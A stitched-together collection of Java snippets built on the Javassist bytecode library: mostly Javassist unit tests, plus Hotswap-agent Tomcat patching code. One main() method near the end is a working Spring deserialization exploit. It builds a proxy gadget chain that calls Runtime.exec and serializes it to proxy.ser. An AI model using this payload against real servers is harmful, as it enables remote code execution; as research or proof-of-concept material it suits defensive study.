public void testRemoveAnnotatino() throws Exception { CtClass cc = sloader.get("test5.RemoveAnnotation"); AnnotationsAttribute aa = (AnnotationsAttribute) cc.getClassFile().getAttribute(AnnotationsAttribute.invisibleTag); assertTrue(aa.removeAnnotation("test5.RemoveAnno1")); AttributeInfo ai = cc.getClassFile().removeAttribute(AnnotationsAttribute.invisibleTag); assertEquals(ai.getName(), AnnotationsAttribute.invisibleTag); CtMethod foo = cc.getDeclaredMethod("foo"); AnnotationsAttribute aa2 = (AnnotationsAttribute) foo.getMethodInfo().getAttribute(AnnotationsAttribute.invisibleTag); assertTrue(aa2.removeAnnotation("test5.RemoveAnno1")); CtMethod bar = cc.getDeclaredMethod("bar"); AnnotationsAttribute aa3 = (AnnotationsAttribute) bar.getMethodInfo().getAttribute(AnnotationsAttribute.invisibleTag); assertFalse(aa3.removeAnnotation("test5.RemoveAnno1")); assertTrue(aa3.removeAnnotation("test5.RemoveAnno2")); AttributeInfo ai2 = bar.getMethodInfo().removeAttribute(AnnotationsAttribute.invisibleTag); assertEquals(ai2.getName(), AnnotationsAttribute.invisibleTag); CtMethod run = cc.getDeclaredMethod("run"); AttributeInfo ai3 = run.getMethodInfo().removeAttribute(AnnotationsAttribute.invisibleTag); assertNull(ai3); CtField baz = cc.getDeclaredField("baz"); AttributeInfo ai4 = baz.getFieldInfo().removeAttribute(AnnotationsAttribute.invisibleTag); assertEquals(ai4.getName(), AnnotationsAttribute.invisibleTag); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(3, invoke(obj, "run")); }
public void testInsertLocal() throws Exception { CtClass cc = sloader.get("test2.InsertLocal"); CtMethod m1 = cc.getDeclaredMethod("foo"); m1.insertBefore("{ i = s.length(); d = 0.14; }"); m1.insertAfter("{ field = i; }"); CtMethod m2 = cc.getDeclaredMethod("run2"); m2.insertAt(22, "{ s = \"12\"; k = 5; }"); CtMethod m3 = cc.getDeclaredMethod("run3"); m3.instrument( new ExprEditor() { public void edit(NewExpr n) throws CannotCompileException { n.replace("{ i++; $_ = $proceed($$); }"); } public void edit(FieldAccess f) throws CannotCompileException { f.replace("{ i++; $_ = $proceed($$); }"); } public void edit(MethodCall m) throws CannotCompileException { m.replace("{ i++; $_ = $proceed($$); }"); } }); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(317, invoke(obj, "run")); assertEquals(7, invoke(obj, "run2")); assertEquals(3, invoke(obj, "run3")); }
private void testRemove3(CtClass cc, String methodName) throws Exception { CtMethod m = cc.getDeclaredMethod(methodName); cc.removeMethod(m); try { CtMethod m2 = cc.getDeclaredMethod(methodName); fail("the removed method still exists"); } catch (NotFoundException e) { } }
public void test83StackmapWithArrayType() throws Exception { final CtClass ctClass = sloader.get("test5.StackmapWithArray83"); final CtMethod method = ctClass.getDeclaredMethod("bytecodeVerifyError"); method.addLocalVariable("test_localVariable", CtClass.intType); method.insertBefore("{ test_localVariable = 1; }"); final CtMethod method2 = ctClass.getDeclaredMethod("bytecodeVerifyError2"); method2.addLocalVariable("test_localVariable", CtClass.intType); method2.insertBefore("{ test_localVariable = 1; }"); ctClass.writeFile(); Object obj = make(ctClass.getName()); assertEquals(1, invoke(obj, "run")); }
public void testCodeGen() throws Exception { CtClass cc = sloader.get("test2.CodeGen"); CtMethod m1 = cc.getDeclaredMethod("run"); m1.insertBefore( "{ double d = true ? 1 : 0.1; " + " d = d > 0.5 ? 0.0 : - 1.0; " + " System.out.println(d); " + " String s = \"foo\"; " + " s = 1 + 2 + s + \"bar\"; " + " s += \"poi\" + 3 + seven() + seven(\":\" + ' '); " + " s += .14; " + " msg = s; " + " System.out.println(s); }"); // recursive type check is done if $proceed is used. CtMethod m2 = CtNewMethod.make( "public int test() {" + " String s = $proceed(\"int\" + (3 + 0.14)) + '.'; " + " System.out.println(s); return s.length(); }", cc, "this", "seven"); cc.addMethod(m2); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(19, invoke(obj, "run")); assertEquals(9, invoke(obj, "test")); }
public void testNewArray() throws Exception { ExprEditor ed = new ExprEditor() { int dim[] = {1, 2, 2, 1, 2, 2, 3}; int cdim[] = {1, 1, 2, 1, 1, 2, 2}; int counter = 0; public void edit(NewArray expr) throws CannotCompileException { try { CtClass str = sloader.get("java.lang.String"); if (counter < 3) assertEquals(str, expr.getComponentType()); else assertEquals(CtClass.intType, expr.getComponentType()); assertEquals(dim[counter], expr.getDimension()); assertEquals(cdim[counter], expr.getCreatedDimensions()); expr.replace("{ i += $1; $_ = $proceed($$); }"); ++counter; } catch (NotFoundException e) { throw new CannotCompileException(e); } } }; CtClass cc = sloader.get("test2.NewArray"); CtMethod m1 = cc.getDeclaredMethod("foo"); m1.instrument(ed); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(48, invoke(obj, "run")); }
private void findAndRemoveMethod(CtClass ctClass, String methodName) throws NotFoundException { try { CtMethod ctMethod = ctClass.getDeclaredMethod(methodName); ctClass.getClassFile().getMethods().remove(ctMethod.getMethodInfo()); } catch (Exception e) { } }
public void testJIRA241() throws Exception { CtClass cc = sloader.get("test5.JIRA241"); CtMethod testMethod = cc.getDeclaredMethod("test"); testMethod.insertAfter("System.out.println(\"inserted!\");"); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(10, invoke(obj, "run")); }
public void testJIRA249() throws Exception { CtClass cc = sloader.get("test5.BoolTest"); CtMethod testMethod = cc.getDeclaredMethod("test"); testMethod.insertBefore("i = foo(true & true);"); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(1, invoke(obj, "run")); }
public void testLocalVar() throws Exception { CtClass cc = sloader.get("test2.LocalVar"); CtMethod m = cc.getDeclaredMethod("toString"); m.addLocalVariable("var", CtClass.booleanType); m.insertBefore("{var = true; }"); m.insertAfter("{if (var) hashCode(); }", false); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(3, invoke(obj, "foo")); }
public void testReplaceClassName() throws Exception { String oldName = "test2.ReplaceClassName2"; String newName = "test2.ReplaceClassName3"; CtClass cc = sloader.get("test2.ReplaceClassName"); cc.replaceClassName(oldName, newName); cc.writeFile(); CtClass cc2 = dloader.get(cc.getName()); CtMethod m = cc2.getDeclaredMethod("foo"); assertEquals(newName, m.getParameterTypes()[0].getName()); }
public void testAddLocalVar() throws Exception { CtClass cc = sloader.get("test2.AddLocalVar"); CtMethod m1 = cc.getDeclaredMethod("foo"); m1.addLocalVariable("i", CtClass.intType); m1.insertBefore("i = 3;"); m1.insertAfter("$_ = i + 1;"); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(4, invoke(obj, "foo")); }
private void findAndRemoveMethod(CtClass ctClass, CtField ctField, String className) { try { CtMethod ctMethod = ctClass.getDeclaredMethod( ctField.getName(), new CtClass[] {ctClass.getClassPool().get(className)}); ctClass.getClassFile().getMethods().remove(ctMethod.getMethodInfo()); } catch (Exception e) { } }
/** * Before actual webapp initialization starts in ContextHandler.doStart(), do some enhancements: * * <ul> * <li>Initialize this plugin on the webapp classloader * <li>Call plugin method initExtraPathClassLoader add urls and to start watching changed * resources * <li>Call plugin method registerExtraPathClassLoader to inject enhanced resource loader to the * webapp classloader. * </ul> */ @Transform(classNameRegexp = "org.apache.catalina.core.StandardContext") public static void patchStandardContext(CtClass ctClass) throws NotFoundException, CannotCompileException, ClassNotFoundException { try { // force disable caching ctClass.getDeclaredMethod("isCachingAllowed").setBody("return false;"); } catch (NotFoundException e) { LOGGER.debug( "org.apache.catalina.core.StandardContext does not contain isCachingAllowed() method. Probably Ok."); } try { ctClass .getDeclaredMethod("stopInternal") .insertBefore( PluginManagerInvoker.buildCallCloseClassLoader("getLoader().getClassLoader()")); } catch (NotFoundException e) { LOGGER.debug( "org.apache.catalina.core.StandardContext does not contain stopInternal() method. Hotswap agent will not be able to free Tomcat plugin resources."); } }
public void testSetExceptions() throws Exception { CtClass cc = sloader.get("test2.SetExceptions"); CtMethod m = cc.getDeclaredMethod("f"); CtClass ex = m.getExceptionTypes()[0]; assertEquals("java.lang.Exception", ex.getName()); m.setExceptionTypes(null); assertEquals(0, m.getExceptionTypes().length); m.setExceptionTypes(new CtClass[0]); assertEquals(0, m.getExceptionTypes().length); m.setExceptionTypes(new CtClass[] {ex}); assertEquals(ex, m.getExceptionTypes()[0]); }
public void testProceedToDefaultMethod() throws Exception { CtClass cc = ClassPool.getDefault().get("test5.ProceedDefault"); CtMethod mth = cc.getDeclaredMethod("bar"); mth.instrument( new ExprEditor() { public void edit(MethodCall c) throws CannotCompileException { c.replace("$_ = $proceed($$) + 10000;"); } }); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(21713, invoke(obj, "run")); }
public void testRemoveCall() throws Exception { CtClass cc = sloader.get("test2.RemoveCall"); CtMethod m1 = cc.getDeclaredMethod("bar"); m1.instrument( new ExprEditor() { public void edit(MethodCall m) throws CannotCompileException { m.replace("{ $_ = ($r)null; }"); } }); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(0, invoke(obj, "bar")); }
public void testSuperCall() throws Exception { CtClass cc = sloader.get("test2.SuperCall"); CtMethod m1 = cc.getDeclaredMethod("foo"); m1.instrument( new ExprEditor() { public void edit(MethodCall m) throws CannotCompileException { m.replace("{ $_ = $proceed($$); }"); } }); cc.writeFile(); Object obj = make(cc.getName()); invoke(obj, "bar"); }
public void testInsertAt() throws Exception { CtClass cc = sloader.get("test2.InsertAt"); CtMethod m1 = cc.getDeclaredMethod("foo"); int line = 6; int ln = m1.insertAt(line, false, null); int ln2 = m1.insertAt(line, "counter++;"); assertEquals(ln, ln2); assertEquals(7, ln2); line = 8; ln = m1.insertAt(line, false, null); ln2 = m1.insertAt(line, "counter++;"); assertEquals(ln, ln2); assertEquals(8, ln2); CtMethod m2 = cc.getDeclaredMethod("bar2"); int ln3 = m2.insertAt(20, "{ int m = 13; j += m; }"); assertEquals(20, ln3); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(7, invoke(obj, "foo")); assertEquals(25, invoke(obj, "bar")); }
public void testNewExprInTry() throws Exception { ExprEditor ed = new ExprEditor() { public void edit(NewExpr expr) throws CannotCompileException { expr.replace("$_ = new test2.HashMapWrapper($1, 1);"); } }; CtClass cc = sloader.get("test2.NewExprInTry"); CtMethod m1 = cc.getDeclaredMethod("foo"); m1.instrument(ed); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(1, invoke(obj, "run")); }
/** Init the plugin from start method. */ @Transform(classNameRegexp = "org.apache.catalina.loader.WebappLoader") public static void patchWebappLoader(CtClass ctClass) throws NotFoundException, CannotCompileException, ClassNotFoundException { try { CtMethod startInternalMethod = ctClass.getDeclaredMethod("startInternal"); // init the plugin String src = PluginManagerInvoker.buildInitializePlugin(TomcatPlugin.class, "classLoader"); startInternalMethod.insertAfter(src); } catch (NotFoundException e) { LOGGER.warning( "org.apache.catalina.loader.WebappLoader does not contain startInternal method. Tomcat plugin will be disabled.\n" + "*** This is Ok, Tomcat plugin handles only special properties ***"); return; } }
public void testMethodCall() throws Exception { CtClass cc = sloader.get("test2.MethodCall"); CtMethod m1 = cc.getDeclaredMethod("bar"); m1.instrument( new ExprEditor() { public void edit(MethodCall m) throws CannotCompileException { if ("clone".equals(m.getMethodName())) methodCallData = m.getClassName(); } }); cc.writeFile(); assertEquals("java.lang.String[]", methodCallData); assertEquals("java.lang.String[]", sloader.get("[Ljava/lang/String;").getName()); assertEquals("int[][]", sloader.get("[[I").getName()); }
public void testNewExprTry() throws Exception { ExprEditor ed = new ExprEditor() { public void edit(NewExpr expr) throws CannotCompileException { StringBuffer code = new StringBuffer(300); code.append("{ try "); code.append("{ $_ = $proceed($$); }"); code.append("catch (OutOfMemoryError e) {}}"); expr.replace(code.toString()); } }; CtClass cc = sloader.get("test2.NewExprTry"); CtMethod m1 = cc.getDeclaredMethod("foo"); m1.instrument(ed); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(16, invoke(obj, "run")); }
public void testJIRA242() throws Exception { Boolean ss = Boolean.valueOf(2 > 3); ClassPool cp = ClassPool.getDefault(); CtClass cc = cp.get("test5.JIRA242$Hello"); CtMethod m = cc.getDeclaredMethod("say"); m.insertBefore("{ System.out.println(\"Say Hello...\"); }"); StringBuilder sb = new StringBuilder(); sb.append("BOOL_SERIES = createBooleanSeriesStep();"); // Below code cause the issue sb.append("BOOL_SERIES.setValue(3>=3);"); // lets comment this and run it will work // Below code snippets will work // this cast into exact class and call the same function sb.append("((test5.JIRA242$BooleanDataSeries)BOOL_SERIES).setValue(3>=3);"); // this code snippet will set exact boolean variable to the function. sb.append("boolean var = 3>=3;"); sb.append("BOOL_SERIES.setValue(var);"); m.insertBefore(sb.toString()); cc.writeFile(); Object obj = make(cc.getName()); assertEquals(0, invoke(obj, "say")); }
public static void main(String[] arguments) { // Get a DefaultListableBeanFactory modified so it has no writeReplace() method // We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a // "attempted duplicate class definition for name" exception System.out.println( "[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method"); Object instrumentedFactory = null; ClassPool pool = ClassPool.getDefault(); try { pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader())); CtClass instrumentedClass = pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory"); // Call setSerialVersionUID before modifying a class to maintain serialization compatability. SerialVersionUID.setSerialVersionUID(instrumentedClass); CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace"); // method.insertBefore("{ System.out.println(\"TESTING\"); }"); method.setName("writeReplaceDisabled"); Class instrumentedFactoryClass = instrumentedClass.toClass(); instrumentedFactory = instrumentedFactoryClass.newInstance(); } catch (Exception e) { e.printStackTrace(); } // Modified BeanFactory DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory; // Create malicious bean definition programatically System.out.println("[+] Creating malicious bean definition programatically"); // First we will set up a bean created with a factory method (instead of using the constructor) // that will return a java.lang.Runtime // Runtime or ProcessBuilder are not serializable so we cannot use them for the // MethodInvokingFactory targetObject, but we can use a bean definition instead that wraps // these objects as the server will instantiate them GenericBeanDefinition runtime = new GenericBeanDefinition(); runtime.setBeanClass(Runtime.class); runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static // Exploit bean to be registered in the bean factory as the target source GenericBeanDefinition payload = new GenericBeanDefinition(); // use MethodInvokingFactoryBean instead of factorymethod because we need to pass arguments, // and can't do that with the unserializable ConstructorArgumentValues payload.setBeanClass(MethodInvokingFactoryBean.class); payload.setScope("prototype"); payload.getPropertyValues().add("targetObject", runtime); payload.getPropertyValues().add("targetMethod", "exec"); payload .getPropertyValues() .add( "arguments", Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator")); beanFactory.registerBeanDefinition("exploit", payload); // Preparing BeanFactory to be serialized System.out.println("[+] Preparing BeanFactory to be serialized"); System.out.println("[+] Nullifying non-serializable members"); try { Field constructorArgumentValues = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues"); constructorArgumentValues.setAccessible(true); constructorArgumentValues.set(payload, null); System.out.println( "[+] payload BeanDefinition constructorArgumentValues property should be null: " + payload.getConstructorArgumentValues()); Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides"); methodOverrides.setAccessible(true); methodOverrides.set(payload, null); System.out.println( "[+] payload BeanDefinition methodOverrides property should be null: " + payload.getMethodOverrides()); Field constructorArgumentValues2 = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues"); constructorArgumentValues2.setAccessible(true); constructorArgumentValues2.set(runtime, null); System.out.println( "[+] runtime BeanDefinition constructorArgumentValues property should be null: " + runtime.getConstructorArgumentValues()); Field methodOverrides2 = AbstractBeanDefinition.class.getDeclaredField("methodOverrides"); methodOverrides2.setAccessible(true); methodOverrides2.set(runtime, null); System.out.println( "[+] runtime BeanDefinition methodOverrides property should be null: " + runtime.getMethodOverrides()); Field autowireCandidateResolver = DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver"); autowireCandidateResolver.setAccessible(true); autowireCandidateResolver.set(beanFactory, null); System.out.println( "[+] BeanFactory autowireCandidateResolver property should be null: " + beanFactory.getAutowireCandidateResolver()); } catch (Exception i) { i.printStackTrace(); System.exit(-1); } // AbstractBeanFactoryBasedTargetSource System.out.println( "[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory"); SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource(); targetSource.setTargetBeanName("exploit"); targetSource.setBeanFactory(beanFactory); // JdkDynamicAopProxy (invocationhandler) System.out.println( "[+] Creating the handler and configuring the target source pointing to our malicious bean factory"); AdvisedSupport config = new AdvisedSupport(); config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy config.setTargetSource(targetSource); DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory(); InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config); // Proxy System.out.println( "[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler"); Contact proxy = (Contact) Proxy.newProxyInstance( Contact.class.getClassLoader(), new Class<?>[] {Contact.class}, handler); // System.out.println("[+] Trying exploit locally " + proxy.getName()); // Now lets serialize the proxy System.out.println("[+] Serializating malicious proxy"); try { FileOutputStream fileOut = new FileOutputStream("proxy.ser"); ObjectOutputStream outStream = new ObjectOutputStream(fileOut); outStream.writeObject(proxy); outStream.close(); fileOut.close(); } catch (IOException i) { i.printStackTrace(); } System.out.println("[+] Successfully serialized: " + proxy.getClass().getName()); }
/** * Reads a class file and obtains a compile-time method. * * @param classname the class name * @param methodname the method name * @see CtClass#getDeclaredMethod(String) */ public CtMethod getMethod(String classname, String methodname) throws NotFoundException { CtClass c = get(classname); return c.getDeclaredMethod(methodname); }
public void testArrayAndNull() throws Exception { CtClass cc = sloader.get("test2.ArrayAndNull"); CtMethod m = cc.getDeclaredMethod("test"); m.insertAfter("if ($_ == null) $_ = new int[0];"); }